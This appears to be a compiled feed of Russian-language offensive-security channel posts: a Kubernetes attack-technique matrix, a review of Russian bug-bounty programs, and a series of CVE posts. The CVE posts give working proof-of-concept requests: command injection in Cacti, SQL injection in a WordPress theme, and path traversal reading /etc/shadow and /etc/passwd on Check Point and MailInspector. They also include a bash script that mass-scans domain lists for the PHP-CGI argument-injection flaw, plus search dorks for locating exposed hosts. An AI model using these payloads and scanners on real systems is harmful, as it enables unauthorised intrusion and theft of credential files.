The Kubenomicon

Матрица угроз в стиле MITRE ATTACK для Kubernetes, ориентированная на наступательную безопасность. С акцентом на то, как использовать каждую атаку.

1. Initial access
— Using cloud credentials
— Compromised image In registry
— Kubeconfig file
— Application vulnerability
— Exposed sensitive interfaces
— SSH server running inside container

2. Execution
— Exec inside container
— New container
— Application exploit (RCE)
— Sidecar injection

3. Persistence
— Backdoor container
— Writable hostPath mount
— Kubernetes cronjob
— Malicious admission controller
— Container service account
— Static pods

4. Privilege escalation
— Privileged container
— Cluster-admin binding
— hostPath mount
— Access cloud resources

5. Defense evasion
— Clear container logs
— Delete events
— Pod name similarity
— Connect from proxy server

6. Credential access
— List K8S secrets
— Access node information
— Container service account
— Application credentials in configuration files
— Access managed identity credentials
— Malicious admission controller

7. Discovery
— Access Kubernetes API server
— Access Kubelet API
— Network mapping
— Exposed sensitive interfaces
— Instance Metadata API

8. Lateral movement
— Access cloud resources
— Container service account
— Cluster internal networking
— Application credentials in configuration files
— Writable hostPath mount
— CoreDNS poisoning
— ARP poisoning and IP spoofing

9. Collection
— Images from a private registry
— Collecting data from pod

Привет, это Зёма. Я вернулся. Снова.
Прошло уже больше 2 лет с великого пидо прогона граждан РФ с зарубежных площадок. В октябре 2022 года я делал пост, который касался багхантинга в новом мире. Пришло время актуализировать информацию. К сожалению (или к счастью для меня), в этот раз не будет разделения на возраст, необходимый для участия.

Начнём с площадок:
- Standoff365 - сделали крупные шаги и сделали багхантинг доступным всем! Добавили фильтры, которые позволяют отобрать программы разным группам хакерам (несовершеннолетним или гражданам не РФ);
- Bi.Zone - прикольные рейтинги, а также у них есть программы, которых нет на других платформах (например, Astra Linux);
- Bugbounty.ru - ну это ббру, ничего особо не изменилось, только добавились программы.

В это году VK в честь десятилетия программы баг баунти сделали Bug Bounty Pass. Советую принять участие.

Hackenproof ограничили доступ для РФ. Что по итогу с ними - неизвестно. Да и участие в бб у них на площадке может нести риски для граждан РФ. Не советую.


А теперь про Self-hosted программы. За это время я попробовал множество программ и хотел бы поделиться некоторыми из них, а также фидбеком.

- CardPR - отвечают быстро, платят щедро. Довольно интересные правила программы бб, но у них есть свои плюсы;
- Пешкарики - долго отвечают, выплаты относительно неплохие, есть что поискать. Было такое, что выплату разбили на 2 части, даже не предупредив об этом;
- AvanChange - платят нормально, ответы довольно быстрые, есть что покапать. Особенно подойдёт тем, кто любит поковыряться с различными криптовалютными обменниками;
- in.top - выплаты небольшие, но есть чего покапать, отвечают быстро;
- Aeza - самая противоречивая программа. Кажется, что платят нормально, но приходилось доказывать, что для эксплуатации XSS не нужно убеждать пользователя разрешить выполнение JS (если это не отключено по умолчанию);
- FunPay - с них, можно сказать, начался мой путь в бб. Приятные выплаты, накидывают соточку даже за опечатки. Ответы относительно быстрые, с Михаилом довольно приятно общаться, крутой мужик!;
- Пачка - одна из самых приятных программ. Выплаты средние, но всегда готовы обсудить баги. 1 раз выплатили за багу, про которую им было известно, но я нашёл как её можно крутануть дальше;
- Pyrus - есть что поискать. Пост про найденную у них багу уже был на канале в начале этого года. Выплату получал полгода (частично моя вина, т.к. отложил до своего совершеннолетия, но и после этого потребовалось 2 месяца, чтобы денежка до меня дошла).

Ещё есть Яндекс, они часто проводят конкурсы с большими иксами, но как-то не участвовал.

Также остаются прежние рекомендации:
- Стоит самостоятельно искать бб программы при помощи дорок поисковых систем. Почти все сайты из списка выше были найдены таким образом;
- Перед тем, как убить всё свободное время, стоит закинуть пару простых багов, чтобы оценить стоит ли программа того;
- Не всегда те, кто готовы платить за уязвимости, публично заявляют об этом;
- И, наконец, try harder!

Небольшое уточнение. Выплаты оценивал чисто для себя (обычного студента, который не шикует, а просто живёт в общаге в Питере).

Критику и дополнения как всегда готов принять в комментариях. Возможно это повлияет на следующий пост, который когда-нибудь выйдет.

Записки Зёмы

Linksys routers POCs
*
CVE-2024-33788 - POC exploit
CVE-2024-33789 - POC exploit

Сдаем экзамен по Sliver C2 framework с легкостью бабочки ))
*
Lets go


#sliver

💡 Если в ходе багбаунти/пентеста вы встретили веб-приложение на Symfony, проверьте наличие дебаг режима (/app_dev.php) и возможности чтения конфига: /app_dev.php/_profiler/open?file=app/config/parameters.yml

#tips #bugbounty #pentest

CVE-2024-29895 cacti
*
Command injection in cmd_realtime.php
*
fofa link
*
usage:
http://localhost/cacti/cmd_realtime.php?1+1&&calc.exe+1+1+1

#net

CVE-2024-33551
Уязвимость SQL inj, обнаруженная в 8theme XStore, платформе электронной коммерции, созданной на базе WordPress.
Уязвимость позволяет команды SQL в базе данных.
*
POC
POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1

#wordpress #sql

CVE-2024-32002 GIT RCE
*
Удаленного выполнения кода в подмодулях Git.
Payload может быть активирован через рекурсивное клонирование репозитория Git.
*
POC exploit

#git #rce

CVE-2024-24919
*
Check Point Remote Access VPN 0-Day
*
FOFA link
*
POC:
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

#0day #checkpoint

CVE-2024-4577 Argument Injection in PHP-CGI
*
При разработке PHP упустил из виду функцию преобразования символов Best-Fit в Windows. Когда PHP-CGI работает на платформе Windows и использует определенные кодовые страницы (упрощенный китайский 936, традиционный китайский 950, японский 932 и т. д.), атакующий может создавать вредоносные запросы для обхода исправления CVE-2012-1823. Это позволяет им выполнять произвольный код PHP без необходимости аутентификации.
*
fofa link (610,604 хостов)

#php #xamp

CVE-2024-4577 Argument Injection in PHP-CGI
ДОПОЛНЕНИЕ к предыдущему посту
BASH:
#!/bin/bash

# Function to check vulnerability for a domain
check_vulnerability() {
local domain=$1
local response=$(curl -s -X POST "${domain}/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" \
-H "User-Agent: curl/8.3.0" \
-H "Accept: */*" \
-H "Content-Length: 23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Connection: keep-alive" \
--data "<?php phpinfo(); ?>" \
--max-time 10)

if [[ $response == *"PHP Version"* ]]; then
echo "$domain: Vulnerable"
fi
}

# Main function to iterate over domains
main() {
local file=$1
while IFS= read -r domain || [ -n "$domain" ]; do
check_vulnerability "$domain"
done < "$file"
}

# Check if the file argument is provided
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <domain_list_file>"
exit 1
fi

# Call the main function with the domain list file
main "$1"

*
Сохраняйте скрипт и по списку доменов:
./CVE-2024-4577_noscript.sh /path/to/domains-list

#php #xamp

CVE-2024-34470 HSC MailInspector
*
POC:
GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd

FOFA:
noscript=="..:: HSC MailInspector ::.."

🚨 Новая статья о RCE через Dependency Confusion!

Атаки на цепочку поставок, такие как "Dependency Confusion", становятся всё более изощрёнными. Злоумышленники создают пакеты с именами, идентичными приватным пакетам компаний, и загружают их в публичные репозитории. Система сборки скачивает эти вредоносные пакеты, что может привести к удалённому выполнению кода (RCE).

Примеры влзможных защитных мер включают в себя цифровые подписи пакетов, мониторинг зависимостей и тестирование в изолированных средах. Комплексный подход и регулярный аудит критически важны для безопасности.

📖 Узнайте больше и защитите свои проекты